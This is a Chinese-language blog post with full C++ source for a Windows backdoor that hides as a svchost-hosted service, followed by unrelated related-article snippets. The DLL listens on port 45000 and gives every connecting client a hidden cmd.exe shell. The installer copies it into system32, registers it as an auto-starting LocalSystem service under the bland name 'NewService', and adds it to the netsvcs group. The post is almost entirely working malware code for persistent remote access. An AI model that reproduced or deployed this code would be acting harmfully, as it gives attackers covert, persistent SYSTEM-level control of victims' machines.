简介

在Windows系统中有一个系统服务控制器,叫做SVCHost.exe,它可以用来管理系统的多组服务。它与普通的服务控制不同的是它采用dll导出的ServiceMain主函数实现服务运行,详细原理可参照Blog:SVCHOST启动服务实战。我们在使用此方法时,要有两个步骤:

  1. 编写dll文件封装ServiceMain导出函数
  2. 编写负责服务安装与移除的exe文件
  3. 本例中需要将.exe与.dll文件放置在同一个文件夹下运行,.exe文件会将dll复制进系统目录。

C++代码样例

  1. DLL程序代码:
  1. ///////////////////////////////////////
  2. //
  3. // FileName : sysWork.cpp
  4. // Creator : PeterZ1997
  5. // Date : 2018-5-8 22:07
  6. // Comment : Dll of ServiceMain Function
  7. //
  8. ///////////////////////////////////////
  9. #include <cstdio>
  10. #include <iostream>
  11. #include <cstdlib>
  12. #include <cstring>
  13. #include <strsafe.h>
  14. #include <WinSock2.h>
  15. #include <winsock.h>
  16. #include <windows.h>
  17. #include <winsvc.h>
  18. using namespace std;
  19. #pragma comment(lib, "ws2_32.lib")
  20. SERVICE_STATUS g_ServiceStatus;
  21. SERVICE_STATUS_HANDLE g_hServiceStatus;
  22. const unsigned int MAX_COUNT = 255; /// String Max Length
  23. const DWORD PORT = 45000; /// Listen Port
  24. const unsigned int LINK_COUNT = 30; /// Max Link Number
  25. /**
  26. * @brief CallBack Function to Translate Service Control Code
  27. * @param dwCode Service Control Code
  28. */
  29. void WINAPI ServiceControl(DWORD dwCode)
  30. {
  31. switch (dwCode)
  32. {
  33. //服务暂停
  34. case SERVICE_CONTROL_PAUSE:
  35. g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
  36. break;
  37. //服务继续
  38. case SERVICE_CONTROL_CONTINUE:
  39. g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  40. break;
  41. //服务停止
  42. case SERVICE_CONTROL_STOP:
  43. g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
  44. g_ServiceStatus.dwWin32ExitCode = 0;
  45. g_ServiceStatus.dwCheckPoint = 0;
  46. g_ServiceStatus.dwWaitHint = 0;
  47. break;
  48. case SERVICE_CONTROL_INTERROGATE:
  49. break;
  50. default:
  51. break;
  52. }
  53. //设置服务状态
  54. if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
  55. {
  56. printf("Set Service Status Error\n");
  57. }
  58. return;
  59. }
  60. /**
  61. * @brief Start Remote Shell
  62. * @param lpParam the Client Handle
  63. */
  64. DWORD WINAPI StartShell(LPVOID lpParam)
  65. {
  66. STARTUPINFO si;
  67. PROCESS_INFORMATION pi;
  68. CHAR cmdline[MAX_COUNT] = { 0 };
  69. GetStartupInfo(&si);
  70. si.cb = sizeof(STARTUPINFO);
  71. si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
  72. si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  73. si.wShowWindow = SW_HIDE;
  74. GetSystemDirectory(cmdline, sizeof(cmdline));
  75. strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
  76. while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
  77. {
  78. Sleep(100);
  79. }
  80. WaitForSingleObject(pi.hProcess, INFINITE);
  81. CloseHandle(pi.hProcess);
  82. CloseHandle(pi.hThread);
  83. return 0;
  84. }
  85. /**
  86. * @brief Service Running Function
  87. * @param lpParam NULL
  88. */
  89. DWORD WINAPI RunService(LPVOID lpParam)
  90. {
  91. CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n";
  92. SOCKET sClient[30];
  93. DWORD dwThreadId[30];
  94. HANDLE hThread[30];
  95. WSADATA wsd;
  96. if (WSAStartup(0x0202, &wsd))
  97. {
  98. printf("WSAStartup Process Error\n");
  99. return 0;
  100. }
  101. SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  102. sockaddr_in sin;
  103. sin.sin_family = AF_INET;
  104. sin.sin_port = htons(PORT);
  105. sin.sin_addr.S_un.S_addr = INADDR_ANY;
  106. if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
  107. if (listen(sListen, LINK_COUNT)) return 0;
  108. for (int i = 0; i < LINK_COUNT; i++)
  109. {
  110. sClient[i] = accept(sListen, NULL, NULL);
  111. hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
  112. send(sClient[i], wMessage, strlen(wMessage), 0);
  113. }
  114. WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
  115. return 0;
  116. }
  117. /**
  118. * @brief Export Function
  119. */
  120. extern"C" __declspec(dllexport) void __stdcall ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
  121. {
  122. HANDLE hThread;
  123. g_ServiceStatus.dwCheckPoint = 0;
  124. g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
  125. g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
  126. g_ServiceStatus.dwServiceSpecificExitCode = 0;
  127. g_ServiceStatus.dwServiceType = SERVICE_WIN32;
  128. g_ServiceStatus.dwWaitHint = 0;
  129. g_ServiceStatus.dwWin32ExitCode = 0;
  130. g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
  131. if (!g_hServiceStatus)
  132. {
  133. printf("Register Service Error\n");
  134. return;
  135. }
  136. g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  137. g_ServiceStatus.dwCheckPoint = 0;
  138. g_ServiceStatus.dwWaitHint = 0;
  139. if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
  140. {
  141. printf("Set ServiceStatus Error !\n");
  142. return;
  143. }
  144. hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
  145. if (!hThread)
  146. {
  147. printf("Create Thread Error\n");
  148. }
  149. return;
  150. }
  151. /**
  152. * @brief DLL Main Function
  153. */
  154. BOOL APIENTRY DllMain(HANDLE hModule,
  155. DWORD ul_reason_for_call,
  156. LPVOID lpReserved)
  157. {
  158. switch (ul_reason_for_call)
  159. {
  160. case DLL_PROCESS_DETACH:
  161. {
  162. ServiceControl(SERVICE_CONTROL_STOP);
  163. break;
  164. }
  165. default:
  166. break;
  167. }
  168. return TRUE;
  169. }

2 . EXE程序代码:

  1. //////////////////////////////////////////////
  2. //
  3. // FileName : SVCHostDemo.cpp
  4. // Creator : PeterZ1997
  5. // Date : 2018-5-8 01:17
  6. // Comment : use SVCHost.exe to achieve software auto-run
  7. //
  8. //////////////////////////////////////////////
  9. #include <iostream>
  10. #include <cstdio>
  11. #include <cstdlib>
  12. #include <cstring>
  13. #include "strsafe.h"
  14. #include <windows.h>
  15. #include <winsvc.h>
  16. #include <shlwapi.h>
  17. #pragma comment(lib, "shlwapi.lib")
  18. using namespace std;
  19. const unsigned int MAX_COUNT = 255; //字符串长度
  20. CHAR szRegInfo[MAX_COUNT] = "\0"; //注册表信息缓冲区
  21. SC_HANDLE g_hServiceHandle; //服务实例句柄
  22. SERVICE_STATUS g_ssServiceStatus; //服务状态结构体
  23. SERVICE_STATUS_HANDLE g_ssServiceHandle; //服务状态句柄
  24. /**
  25. * @brief 封装REG_MULTI_SZ型注册表操作
  26. * @param hRoot root key
  27. * @param szSubKey sub key after the root key
  28. * @param szValueName key name
  29. * @param szData key Data
  30. * @param cp length of (BYTE*)szValue
  31. */
  32. BOOL setSZMultiStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPSTR szValue, DWORD cp)
  33. {
  34. HKEY hKey;
  35. long lRet;
  36. if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
  37. if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_MULTI_SZ, (BYTE*)szValue, cp)) return false;
  38. RegCloseKey(hKey);
  39. RegCloseKey(hRoot);
  40. return true;
  41. }
  42. /**
  43. * @brief 封装REG_SZ型注册表操作
  44. * @param hRoot root key
  45. * @param szSubKey sub key after the root key
  46. * @param szValueName key name
  47. * @param szData key Data
  48. */
  49. BOOL setSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
  50. {
  51. HKEY hKey;
  52. long lRet;
  53. if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
  54. if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
  55. RegCloseKey(hKey);
  56. RegCloseKey(hRoot);
  57. return true;
  58. }
  59. /**
  60. * @brief 封装REG_EXPAND_SZ型注册表操作
  61. * @param hRoot root key
  62. * @param szSubKey sub key after the root key
  63. * @param szValueName key name
  64. * @param szData key Data
  65. */
  66. BOOL setExpandSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
  67. {
  68. HKEY hKey;
  69. long lRet;
  70. if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
  71. if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_EXPAND_SZ, (BYTE*)szValue, strlen(szValue))) return false;
  72. RegCloseKey(hKey);
  73. RegCloseKey(hRoot);
  74. return true;
  75. }
  76. /**
  77. * @brief 封装DWORD型注册表操作
  78. * @param hRoot root key
  79. * @param szSubKey sub key after the root key
  80. * @param szValueName key name
  81. * @param szData key Data
  82. */
  83. BOOL setDWORDValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, DWORD szValue)
  84. {
  85. HKEY hKey;
  86. long lRet;
  87. if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
  88. if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_DWORD, (BYTE*)&szValue, sizeof(DWORD))) return false;
  89. RegCloseKey(hKey);
  90. RegCloseKey(hRoot);
  91. return true;
  92. }
  93. /**
  94. * @brief get Registry Value Info(REG_MULTI_SZ)
  95. * @param hRoot root key
  96. * @param szSubKey sub key after the root key
  97. * @param szValueName key name
  98. */
  99. BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)
  100. {
  101. HKEY hKey;
  102. DWORD dwType = REG_MULTI_SZ;
  103. DWORD dwLenData = strlen(szRegInfo);
  104. LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
  105. if (lRes != ERROR_SUCCESS)
  106. {
  107. RegCloseKey(hKey);
  108. RegCloseKey(hRoot);
  109. return false;
  110. }
  111. RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);
  112. lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);
  113. if (lRes != ERROR_SUCCESS)
  114. {
  115. RegCloseKey(hKey);
  116. RegCloseKey(hRoot);
  117. return false;
  118. }
  119. RegCloseKey(hKey);
  120. RegCloseKey(hRoot);
  121. return true;
  122. }
  123. /**
  124. * @brief CallBack Function to Translate Service Control Code
  125. * @param dwCode Service Control Code
  126. */
  127. void WINAPI ServiceControl(DWORD dwCode)
  128. {
  129. switch (dwCode)
  130. {
  131. case SERVICE_CONTROL_PAUSE:
  132. g_ssServiceStatus.dwCurrentState = SERVICE_PAUSED;
  133. break;
  134. case SERVICE_CONTROL_CONTINUE:
  135. g_ssServiceStatus.dwCurrentState = SERVICE_RUNNING;
  136. break;
  137. case SERVICE_CONTROL_STOP:
  138. g_ssServiceStatus.dwCurrentState = SERVICE_STOPPED;
  139. g_ssServiceStatus.dwWin32ExitCode = 0;
  140. g_ssServiceStatus.dwCheckPoint = 0;
  141. g_ssServiceStatus.dwWaitHint = 0;
  142. break;
  143. case SERVICE_CONTROL_INTERROGATE:
  144. break;
  145. default:
  146. break;
  147. }
  148. if (SetServiceStatus(g_ssServiceHandle, &g_ssServiceStatus) == 0)
  149. {
  150. printf("Set Service Status Error\n");
  151. }
  152. return;
  153. }
  154. /**
  155. * @brief 安装服务
  156. */
  157. BOOL InstallService()
  158. {
  159. CHAR szSysPath[MAX_COUNT] = "\0";
  160. CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
  161. CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
  162. memset(szTargetString, 0, sizeof(szTargetString));
  163. register int count = 0;
  164. register int cp = 0;
  165. GetSystemDirectory(szSysPath, sizeof(szSysPath));
  166. StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
  167. CopyFile("sysWork.dll", szSysPath, true);
  168. setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Description", "System Test Server");
  169. setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "DisplayName", "NewService");
  170. setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ErrorControl", 0x00000001);
  171. setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ImagePath", "%systemRoot%\\system32\\svchost.exe -k netsvcs");
  172. setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ObjectName", "LocalSystem");
  173. setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Start", 0x00000002);
  174. setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Type", 0x00000010);
  175. setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService\\Parameters", "ServiceDll", szSysPath);
  176. getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
  177. register LPSTR p = LPSTR(szRegInfo);
  178. for (; *p; p += strlen(p) + 1, count++)
  179. {
  180. StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
  181. }
  182. StringCchCopy(szRegGroup[count], sizeof(szRegGroup), "NewService");
  183. p = LPSTR(szTargetString);
  184. for (int i = 0; i <= count; i++)
  185. {
  186. strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
  187. p += strlen(szRegGroup[i]) + 1;
  188. cp += strlen(szRegGroup[i]) + 1;
  189. }
  190. setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
  191. return true;
  192. }
  193. /**
  194. * @brief 移除服务
  195. */
  196. BOOL RemoveService()
  197. {
  198. SC_HANDLE hscManager;
  199. CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
  200. CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
  201. memset(szTargetString, 0, sizeof(szTargetString));
  202. register int count = 0;
  203. register int cp = 0;
  204. CHAR szSysPath[MAX_COUNT] = "\0";
  205. GetSystemDirectory(szSysPath, sizeof(szSysPath));
  206. StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
  207. hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  208. if (!hscManager)
  209. {
  210. printf("Open Service Manager Error\n");
  211. return false;
  212. }
  213. printf("Open Service Manager Success\n");
  214. g_hServiceHandle = OpenService(hscManager, "NewService", SERVICE_ALL_ACCESS);
  215. if (!g_hServiceHandle)
  216. {
  217. printf("Open Service Error\n");
  218. return false;
  219. }
  220. printf("Open Service Success\n");
  221. if (QueryServiceStatus(g_hServiceHandle, &g_ssServiceStatus))
  222. {
  223. if (g_ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
  224. {
  225. ControlService(g_hServiceHandle, SERVICE_CONTROL_STOP, &g_ssServiceStatus);
  226. }
  227. }
  228. else
  229. {
  230. printf("Service Status Get Error\n");
  231. CloseServiceHandle(g_hServiceHandle);
  232. CloseServiceHandle(hscManager);
  233. return false;
  234. }
  235. if (!DeleteService(g_hServiceHandle))
  236. {
  237. printf("Delete Service Error\n");
  238. CloseServiceHandle(g_hServiceHandle);
  239. CloseServiceHandle(hscManager);
  240. return false;
  241. }
  242. if (SHDeleteKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService"))
  243. {
  244. printf("Delete RegKey Error\n");
  245. CloseServiceHandle(g_hServiceHandle);
  246. CloseServiceHandle(hscManager);
  247. return false;
  248. }
  249. memset(szRegInfo, 0, sizeof(szRegInfo));
  250. getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
  251. register LPSTR p = LPSTR(szRegInfo);
  252. for (; *p; p += strlen(p) + 1)
  253. {
  254. if (!strcmp(p, "NewService"))
  255. {
  256. continue;
  257. }
  258. StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
  259. count++;
  260. }
  261. p = LPSTR(szTargetString);
  262. for (int i = 0; i <= count; i++)
  263. {
  264. strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
  265. p += strlen(szRegGroup[i]) + 1;
  266. cp += strlen(szRegGroup[i]) + 1;
  267. }
  268. setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
  269. printf("Remove Service Success\n");
  270. DeleteFile(szSysPath);
  271. CloseServiceHandle(g_hServiceHandle);
  272. CloseServiceHandle(hscManager);
  273. return true;
  274. }
  275. /**
  276. * @brief Main Function
  277. */
  278. int main(int argc, char* argv[])
  279. {
  280. if (argc == 2)
  281. {
  282. if (!stricmp(argv[1], "--install"))
  283. {
  284. if (!InstallService())
  285. {
  286. printf("[!]Service Operation Error\n");
  287. }
  288. else
  289. {
  290. printf("[*]Service Operation Success\n");
  291. }
  292. }
  293. else if (!stricmp(argv[1], "--remove"))
  294. {
  295. if (!RemoveService())
  296. {
  297. printf("[!]Service Operation Error\n");
  298. }
  299. else
  300. {
  301. printf("[*]Service Operation Success\n");
  302. }
  303. }
  304. else
  305. {
  306. printf("[Usage] => *.exe [--install]/[--remove]\n");
  307. }
  308. }
  309. else {
  310. printf("[Usage] => *.exe [--install]/[--remove]\n");
  311. }
  312. return 0;
  313. }

安全之路 —— 利用SVCHost.exe系统服务实现后门自启动的更多相关文章

  1. 电脑Svchost.exe 进程占CPU100% 的解决办法

    Windows Update诊断和修复修复工具 http://support.microsoft.com/mats/windows_update/zh-cn Svchost.exe占用CPU100%的 ...

  2. 关于WIN7 内存占用很大的 问题svchost.exe

    svchost.exe 是用来启动系统服务的,所以某个 svchost.exe 占用内存过大,可能就是它启动的那个服务占用内存过大,所以只要停止并禁用那个服务就行了. 一般来说占用内存最大的服务是 S ...

  3. win7 64位的 svchost.exe 占用内存过大的问题

    svchost.exe 是用来启动系统服务的,所以某个 svchost.exe 占用内存过大,可能就是它启动的那个服务占用内存过大,所以只要停止并禁用那个服务就行了. 一般来说占用内存最大的服务是 S ...

  4. windows svchost.exe 引起的出现的莫名其妙的窗口失去焦点

    我不知道你们遇到没,反正我是遇到了,现在我就把解决方法给你们,当然都是从网上整理下来的 这个失去焦点可以分为两种,一种是病毒,一种是系统自带的问题 首先你得知道自己的窗口被什么给挤掉了焦点 先看看这篇 ...

  5. 利用certutil.exe实现在批处理(bat)中嵌入可执行文件或者各种媒体、图片之类二进制文件的简单方法!

    实际上利用certutil.exe 把二进制文件(包括各种文件,exe可执行程序,图片,声音,mp3) 经过base64编码为文本,可以实现把这些文件嵌入到批处理代码中. 有什么用?: 举个例子,批处 ...

  6. win10 svchost.exe (LocalSystemNetworkRestricted)大量读写数据

    博主的笔记本联想Y50开机完毕后会不停滴读硬盘/写硬盘,导致开机后一段时间内无法正常使用电脑(硬盘读写高峰期).打开资源监视器发现是"svchost.exe (LocalSystemNetw ...

  7. 解析利用wsdl.exe生成webservice代理类的详解

    利用wsdl.exe生成webservice代理类:根据提供的wsdl生成webservice代理类1.开始->程序->Visual Studio 2005 命令提示2.输入如下红色标记部 ...

  8. win7的svchost.exe占用内存过高如何解决

    方法/步骤 1 在我的电脑上点击鼠标右键,选择[管理] 步骤阅读 2 选择右侧[服务和应用程序]下的[服务]选项 步骤阅读 3 找到名称我Superfetch的服务,双击鼠标左键. 步骤阅读 4 选择 ...

  9. svchost.exe是什么?为什么一直在运行

    原文:http://www.howtogeek.com/howto/windows-vista/what-is-svchostexe-and-why-is-it-running/ 自己简单翻译了下,图 ...

随机推荐

  1. 如何精准实现OCR文字识别?

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云计算基础发表于云+社区专栏 前言 2018年3月27日腾讯云云+社区联合腾讯云智能图像团队共同在客户群举办了腾讯云OCR文字识别-- ...

  2. tar 压缩解压

     tar命令 tar可以为文件和目录创建档案.利用tar,用户可以为某一特定文件创建档案(备份文件),也可以在档案中改变文件, 或者向档案中加入新的文件.tar最初被用来在磁带上创建档案,现在,用户可 ...

  3. Golang 接口interface

    接口interface 接口是一个或多个方法签名的集合 只要某个类型拥有该接口的所有方法签名,即算实现该接口,无需显示声明实现了哪个接口,这成为Structural Typing 接口只有方法声明,没 ...

  4. windows环境下搭建Java开发环境(一):jdk安装和配置

    一.资源下载 官网:http://www.oracle.com/technetwork/java/javase/downloads/index.html 本人安装的是jdk1.8,百度云资源:链接:h ...

  5. 附件十四面3D模型的自动化生成

    附件十四面的3D模型可以自动生成了 2017-10-14 刘崇军 风螺旋线 这个故事开始于大约半年前,偶然从电脑里翻到了曾经收藏的这本书<Automatic SketchUp>,英语+3D ...

  6. 使用 ReentrantLock 和 Condition 实现一个阻塞队列

    前言 从之前的阻塞队列的源码分析中,我们知道,JDK 中的阻塞队列是使用 ReentrantLock 和 Condition 实现了,我们今天来个简易版的.代码如下: 代码 public class ...

  7. C# ABP 配置连接数据库&创建表

    1. 配置连接数据库 配置连接数据库很简单,只需要打开Web项目,然后找到Web.config,配置如下: <connectionStrings> <add name="D ...

  8. 从客户端(ASPxFormLayout1$txtRule="<YYYY><MM><DD><XXXX>")中检测到有潜在危险的 Request.Form 值

    在有文本框的值属于这种时<YYYY><MM><DD><XXXX>,会报这个错 在webconfig中加入 <httpRuntime request ...

  9. Windows下当地RabbitMQ服务的安装

    Windows下本地RabbitMQ服务的安装 本文参考:刘若泽相关技术文档 当然这些内容页可以通过RabbitMQ官方网站获得. RabbitMQ配置说明手册 一.RaibbitMQ服务器配置 1. ...

  10. Charlie's Change(完全背包+路径记忆)

    Charlie's Change Time Limit: 1000MS   Memory Limit: 30000K Total Submissions: 3176   Accepted: 913 D ...